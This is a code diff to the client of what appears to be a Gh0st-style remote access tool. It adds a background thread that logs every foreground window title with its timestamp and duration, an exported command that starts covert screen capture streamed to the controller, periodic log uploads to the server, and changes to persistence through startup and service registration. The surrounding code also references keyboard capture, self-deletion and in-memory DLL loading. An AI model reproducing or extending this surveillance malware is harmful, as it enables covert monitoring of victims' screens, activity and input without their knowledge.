return inst;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ActivityHistory::Start()
|
||||||
|
{
|
||||||
|
if (m_started.exchange(true))
|
||||||
|
return;
|
||||||
|
m_running = true;
|
||||||
|
m_thread = std::thread(&ActivityHistory::Loop, this);
|
||||||
|
}
|
||||||
|
|
||||||
|
void ActivityHistory::Stop()
|
||||||
|
{
|
||||||
|
m_running = false;
|
||||||
|
if (m_thread.joinable())
|
||||||
|
m_thread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string ActivityHistory::Dump() const
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_mutex);
|
||||||
|
std::string out;
|
||||||
|
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
|
||||||
|
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||||
|
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
|
||||||
|
for (const auto& r : m_records)
|
||||||
|
out += r + "\n";
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ActivityHistory::Loop()
|
||||||
|
{
|
||||||
|
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
|
||||||
|
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
|
||||||
|
|
||||||
|
ActivityWindow aw;
|
||||||
|
HWND lastHwnd = NULL;
|
||||||
|
std::string lastTitle;
|
||||||
|
std::string startTime;
|
||||||
|
int dwellSec = 0;
|
||||||
|
|
||||||
|
while (m_running) {
|
||||||
|
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
|
||||||
|
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
|
||||||
|
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_mutex);
|
||||||
|
|
||||||
|
if (hwnd == NULL || title.empty()) {
|
||||||
|
// 空闲/锁定/无标题:结账上一个窗口
|
||||||
|
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||||
|
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||||||
|
lastHwnd = NULL;
|
||||||
|
lastTitle.clear();
|
||||||
|
dwellSec = 0;
|
||||||
|
} else if (hwnd == lastHwnd) {
|
||||||
|
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
|
||||||
|
++dwellSec;
|
||||||
|
lastTitle = title;
|
||||||
|
} else {
|
||||||
|
// 窗口切换:结账上一个,开始累计新窗口
|
||||||
|
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||||
|
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||||||
|
lastHwnd = hwnd;
|
||||||
|
lastTitle = title;
|
||||||
|
startTime = NowStr();
|
||||||
|
dwellSec = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (m_records.size() > ACTIVITY_HISTORY_MAX)
|
||||||
|
m_records.pop_back();
|
||||||
|
|
||||||
|
m_curTitle = lastTitle;
|
||||||
|
m_curStartTime = startTime;
|
||||||
|
m_curDwellSec = dwellSec;
|
||||||
|
}
|
||||||
|
|
||||||
|
Sleep(1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
|
||||||
|
{
|
||||||
|
// 标题里的换行会破坏“每行一条”,做最小清洗
|
||||||
|
std::string t;
|
||||||
|
t.reserve(title.size());
|
||||||
|
for (char c : title) {
|
||||||
|
if (c == '\r' || c == '\n') c = ' ';
|
||||||
|
t += c;
|
||||||
|
}
|
||||||
|
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string ActivityHistory::FormatDuration(int sec)
|
||||||
|
{
|
||||||
|
if (sec < 0) sec = 0;
|
||||||
|
if (sec < 60)
|
||||||
|
return std::to_string(sec) + "s";
|
||||||
|
if (sec < 3600) {
|
||||||
|
int m = sec / 60, s = sec % 60;
|
||||||
|
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
|
||||||
|
: std::to_string(m) + "m";
|
||||||
|
}
|
||||||
|
int h = sec / 3600, m = (sec % 3600) / 60;
|
||||||
|
return std::to_string(h) + "h" + std::to_string(m) + "m";
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string ActivityHistory::NowStr()
|
||||||
|
{
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
char buf[32];
|
||||||
|
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
|
||||||
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
54
client/ActivityHistory.h
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <string>
|
||||||
|
#include <deque>
|
||||||
|
#include <mutex>
|
||||||
|
#include <thread>
|
||||||
|
#include <atomic>
|
||||||
|
|
||||||
|
// 历史活动记录:
|
||||||
|
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
|
||||||
|
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
|
||||||
|
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
|
||||||
|
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
|
||||||
|
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL,
|
||||||
|
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
|
||||||
|
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
|
||||||
|
|
||||||
|
class ActivityHistory
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static ActivityHistory& Instance();
|
||||||
|
|
||||||
|
// 启动常驻采样线程(幂等,重复调用无副作用)
|
||||||
|
void Start();
|
||||||
|
// 停止采样线程
|
||||||
|
void Stop();
|
||||||
|
|
||||||
|
// 返回全部历史记录(最新在前,多行文本,每行一条)
|
||||||
|
std::string Dump() const;
|
||||||
|
|
||||||
|
private:
|
||||||
|
ActivityHistory() = default;
|
||||||
|
~ActivityHistory() { Stop(); }
|
||||||
|
ActivityHistory(const ActivityHistory&) = delete;
|
||||||
|
ActivityHistory& operator=(const ActivityHistory&) = delete;
|
||||||
|
|
||||||
|
void Loop();
|
||||||
|
|
||||||
|
// 拼一条记录字符串
|
||||||
|
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
|
||||||
|
// 时长格式化:Ns / Nm / NmNs / NhNm
|
||||||
|
static std::string FormatDuration(int sec);
|
||||||
|
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
|
||||||
|
static std::string NowStr();
|
||||||
|
|
||||||
|
mutable std::mutex m_mutex;
|
||||||
|
std::deque<std::string> m_records; // 已完成记录,最新在前
|
||||||
|
std::string m_curTitle; // 当前进行中的窗口标题
|
||||||
|
std::string m_curStartTime; // 当前窗口的起始时间
|
||||||
|
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
|
||||||
|
|
||||||
|
std::atomic<bool> m_running{ false };
|
||||||
|
std::atomic<bool> m_started{ false };
|
||||||
|
std::thread m_thread;
|
||||||
|
};
|
||||||
@@ -74,6 +74,7 @@ CAudio::~CAudio()
|
|||||||
WAIT (m_hThreadCallBack, 30);
|
WAIT (m_hThreadCallBack, 30);
|
||||||
if (m_hThreadCallBack)
|
if (m_hThreadCallBack)
|
||||||
Mprintf("没有成功关闭waveInCallBack.\n");
|
Mprintf("没有成功关闭waveInCallBack.\n");
|
||||||
|
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
|
||||||
TerminateThread(m_Thread, -999);
|
TerminateThread(m_Thread, -999);
|
||||||
m_Thread = NULL;
|
m_Thread = NULL;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -210,9 +210,10 @@ int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
|||||||
uint32_t width, uint32_t height,
|
uint32_t width, uint32_t height,
|
||||||
int direction)
|
int direction)
|
||||||
{
|
{
|
||||||
int signed_height = direction * (int)height;
|
// Clamp to encoder's even-aligned frame dimensions (same reason as encode()).
|
||||||
int w = (int)width;
|
int w = m_ctx->width;
|
||||||
int h = (int)height;
|
int h = m_ctx->height;
|
||||||
|
int signed_height = direction * h;
|
||||||
int y_size = w * h;
|
int y_size = w * h;
|
||||||
int uv_size = (w / 2) * (h / 2);
|
int uv_size = (w / 2) * (h / 2);
|
||||||
m_i420Scratch.resize(y_size + 2 * uv_size);
|
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||||
@@ -249,8 +250,12 @@ int CFFmpegH264Encoder::encode(
|
|||||||
if (!m_ctx || !m_frame || !m_packet) return -1;
|
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||||
if (av_frame_make_writable(m_frame) < 0) return -1;
|
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||||
|
|
||||||
int w = (int)width;
|
// Use the encoder's even-aligned dimensions, not the raw passed-in values.
|
||||||
int h = (int)height;
|
// m_ctx->width/height = p.width & ~1, m_frame is allocated for exactly those
|
||||||
|
// dimensions. If we pass an odd width/height, ARGBToNV12 writes one extra row
|
||||||
|
// past the end of m_frame->data[0] → heap corruption / access violation.
|
||||||
|
int w = m_ctx->width;
|
||||||
|
int h = m_ctx->height;
|
||||||
int signed_height = direction * h;
|
int signed_height = direction * h;
|
||||||
|
|
||||||
if (bpp == 32) {
|
if (bpp == 32) {
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "ClientDll.h"
|
#include "ClientDll.h"
|
||||||
|
#include "ActivityHistory.h"
|
||||||
#include <common/iniFile.h>
|
#include <common/iniFile.h>
|
||||||
#include <common/LANChecker.h>
|
#include <common/LANChecker.h>
|
||||||
#include <common/VerifyV2.h>
|
#include <common/VerifyV2.h>
|
||||||
@@ -12,6 +13,8 @@ extern "C" {
|
|||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
extern void licenseInit();
|
||||||
|
|
||||||
// Check if CPU supports AVX2 instruction set
|
// Check if CPU supports AVX2 instruction set
|
||||||
static BOOL IsAVX2Supported()
|
static BOOL IsAVX2Supported()
|
||||||
{
|
{
|
||||||
@@ -73,6 +76,50 @@ ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
|||||||
return a;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#if _CONSOLE
|
||||||
|
#define DLL_API
|
||||||
|
#else
|
||||||
|
#define DLL_API __declspec(dllexport)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
|
||||||
|
if (!ENABLE_SCREEN || ulLength == 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_SCREEN_SPY: {
|
||||||
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||||
|
szBuffer = bToken; ulLength = 4;
|
||||||
|
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
|
||||||
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
|
||||||
|
if (ulLength > 1) {
|
||||||
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
|
ThreadInfo m_hThread;
|
||||||
|
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
|
||||||
|
// sub->EnableSubConnAuth();
|
||||||
|
m_hThread.conn = m_conn;
|
||||||
|
m_hThread.p = sub;
|
||||||
|
m_hThread.user = user;
|
||||||
|
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
|
||||||
|
while (m_hThread.p) Sleep(1000);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
case TOKEN_PRIVATESCREEN: {
|
||||||
|
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
|
||||||
|
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
|
||||||
|
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
|
||||||
|
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
|
||||||
|
t.join();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI StartClientApp(LPVOID param)
|
DWORD WINAPI StartClientApp(LPVOID param)
|
||||||
{
|
{
|
||||||
ClientApp::AddCount(1);
|
ClientApp::AddCount(1);
|
||||||
@@ -214,17 +261,27 @@ int main(int argc, const char *argv[])
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
licenseInit();
|
||||||
|
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||||
|
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
|
||||||
|
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
|
||||||
|
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
|
||||||
|
if (nCmd) {
|
||||||
|
BYTE buf[] = { nCmd };
|
||||||
|
return RunCommand(buf, 1);
|
||||||
|
}
|
||||||
InitWindowsService(NewService(
|
InitWindowsService(NewService(
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
|
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
|
||||||
|
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
|
||||||
// 注册启动项
|
// 注册启动项
|
||||||
int r = RegisterStartup(
|
int r = RegisterStartup(
|
||||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||||
!isService, g_SETTINGS.runasAdmin, Logf);
|
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
BOOL s = self_del();
|
BOOL s = self_del();
|
||||||
if (!IsDebug) {
|
if (!IsDebug) {
|
||||||
@@ -338,6 +395,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
"CPU 不兼容", MB_ICONERROR);
|
"CPU 不兼容", MB_ICONERROR);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
licenseInit();
|
||||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||||
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||||
break;
|
break;
|
||||||
@@ -531,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
std::string ip = settings.ServerIP();
|
std::string ip = settings.ServerIP();
|
||||||
int port = settings.ServerPort();
|
int port = settings.ServerPort();
|
||||||
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
||||||
|
ActivityHistory::Instance().Start();
|
||||||
if (!app.m_bShared) {
|
if (!app.m_bShared) {
|
||||||
auto now = time(0);
|
auto now = time(0);
|
||||||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||||
@@ -566,6 +625,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
std::string expiredDate;
|
std::string expiredDate;
|
||||||
BOOL isAuthKernel = IsAuthKernel(expiredDate);
|
BOOL isAuthKernel = IsAuthKernel(expiredDate);
|
||||||
if (isAuthKernel) ParseAuthServer(&settings);
|
if (isAuthKernel) ParseAuthServer(&settings);
|
||||||
|
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
|
||||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||||
// V2 authorization supports offline mode, verify signature and skip timeout check
|
// V2 authorization supports offline mode, verify signature and skip timeout check
|
||||||
VERIFY_V2_AND_SET_AUTHORIZED();
|
VERIFY_V2_AND_SET_AUTHORIZED();
|
||||||
@@ -584,7 +644,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
|
|
||||||
app.SetThreadRun(TRUE);
|
app.SetThreadRun(TRUE);
|
||||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
|
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
|
||||||
|
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
|
||||||
while (app.m_bIsRunning(&app)) {
|
while (app.m_bIsRunning(&app)) {
|
||||||
ULONGLONG dwTickCount = GetTickCount64();
|
ULONGLONG dwTickCount = GetTickCount64();
|
||||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||||
|
|||||||
@@ -178,9 +178,11 @@
|
|||||||
<ClCompile Include="Audio.cpp" />
|
<ClCompile Include="Audio.cpp" />
|
||||||
<ClCompile Include="AudioManager.cpp" />
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
<ClCompile Include="Buffer.cpp" />
|
<ClCompile Include="Buffer.cpp" />
|
||||||
|
<ClCompile Include="ActivityHistory.cpp" />
|
||||||
<ClCompile Include="CaptureVideo.cpp" />
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
<ClCompile Include="clang_rt_compat.c" />
|
<ClCompile Include="clang_rt_compat.c" />
|
||||||
<ClCompile Include="ClientDll.cpp" />
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
|
<ClCompile Include="ClientLogManager.cpp" />
|
||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
@@ -197,11 +199,15 @@
|
|||||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="SafeThread.cpp" />
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
<ClCompile Include="ScreenPreview.cpp" />
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
@@ -220,10 +226,12 @@
|
|||||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||||
<ClInclude Include="Audio.h" />
|
<ClInclude Include="Audio.h" />
|
||||||
|
<ClInclude Include="ActivityHistory.h" />
|
||||||
<ClInclude Include="AudioManager.h" />
|
<ClInclude Include="AudioManager.h" />
|
||||||
<ClInclude Include="Buffer.h" />
|
<ClInclude Include="Buffer.h" />
|
||||||
<ClInclude Include="CaptureVideo.h" />
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
<ClInclude Include="clip.h" />
|
<ClInclude Include="clip.h" />
|
||||||
|
<ClInclude Include="ClientLogManager.h" />
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
@@ -234,6 +242,10 @@
|
|||||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
<ClInclude Include="EncoderFactory.h" />
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
|
<ClInclude Include="reg_startup.h" />
|
||||||
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
<ClInclude Include="VideoEncoderBase.h" />
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
|
|||||||
@@ -41,6 +41,10 @@
|
|||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="..\common\file_upload.cpp" />
|
<ClCompile Include="..\common\file_upload.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
|
<ClCompile Include="reg_startup.c" />
|
||||||
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\common\file_upload.h" />
|
<ClInclude Include="..\common\file_upload.h" />
|
||||||
@@ -89,6 +93,10 @@
|
|||||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
<ClInclude Include="EncoderFactory.h" />
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
|
<ClInclude Include="reg_startup.h" />
|
||||||
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Script.rc" />
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
|||||||
44
client/ClientLogManager.cpp
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
#include "stdafx.h"
|
||||||
|
#include "ClientLogManager.h"
|
||||||
|
#include "../common/commands.h"
|
||||||
|
#include "../common/logger.h"
|
||||||
|
|
||||||
|
CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p)
|
||||||
|
: CManager(ClientObject, n, p)
|
||||||
|
, m_sentIdx(0)
|
||||||
|
, m_running(true)
|
||||||
|
{
|
||||||
|
SendLogDump();
|
||||||
|
m_pushThread = std::thread([this]() {
|
||||||
|
while (m_running && m_ClientObject->IsConnected()) {
|
||||||
|
for (int i = 0; i < 30 && m_running; ++i)
|
||||||
|
Sleep(100);
|
||||||
|
if (m_running && m_ClientObject->IsConnected())
|
||||||
|
SendLogDump();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
CClientLogManager::~CClientLogManager()
|
||||||
|
{
|
||||||
|
m_running = false;
|
||||||
|
if (m_pushThread.joinable())
|
||||||
|
m_pushThread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG)
|
||||||
|
SendLogDump();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CClientLogManager::SendLogDump()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_sendMutex);
|
||||||
|
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
|
||||||
|
std::vector<BYTE> pkt(1 + logs.size());
|
||||||
|
pkt[0] = TOKEN_REPORT_LOG;
|
||||||
|
if (!logs.empty())
|
||||||
|
memcpy(pkt.data() + 1, logs.data(), logs.size());
|
||||||
|
Send(pkt.data(), (UINT)pkt.size());
|
||||||
|
}
|
||||||
21
client/ClientLogManager.h
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Manager.h"
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
#include <thread>
|
||||||
|
|
||||||
|
class CClientLogManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr);
|
||||||
|
~CClientLogManager();
|
||||||
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
private:
|
||||||
|
void SendLogDump();
|
||||||
|
|
||||||
|
size_t m_sentIdx;
|
||||||
|
std::mutex m_sendMutex;
|
||||||
|
std::atomic<bool> m_running;
|
||||||
|
std::thread m_pushThread;
|
||||||
|
};
|
||||||
@@ -14,6 +14,7 @@
|
|||||||
#include "VideoManager.h"
|
#include "VideoManager.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
#include "ProxyManager.h"
|
#include "ProxyManager.h"
|
||||||
|
#include "ClientLogManager.h"
|
||||||
|
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
#include <iniFile.h>
|
#include <iniFile.h>
|
||||||
@@ -69,7 +70,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin
|
|||||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
||||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||||
ClientObject->SetVerifyInfo(msg, signature);
|
ClientObject->SetVerifyInfo(msg, signature);
|
||||||
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||||
|
UserParam* user = new UserParam{ new BYTE[3], 3 };
|
||||||
|
memcpy(user->buffer, bToken + 1, 3);
|
||||||
|
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
|
||||||
if (IsWindows8orHigher()) {
|
if (IsWindows8orHigher()) {
|
||||||
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
||||||
} else {
|
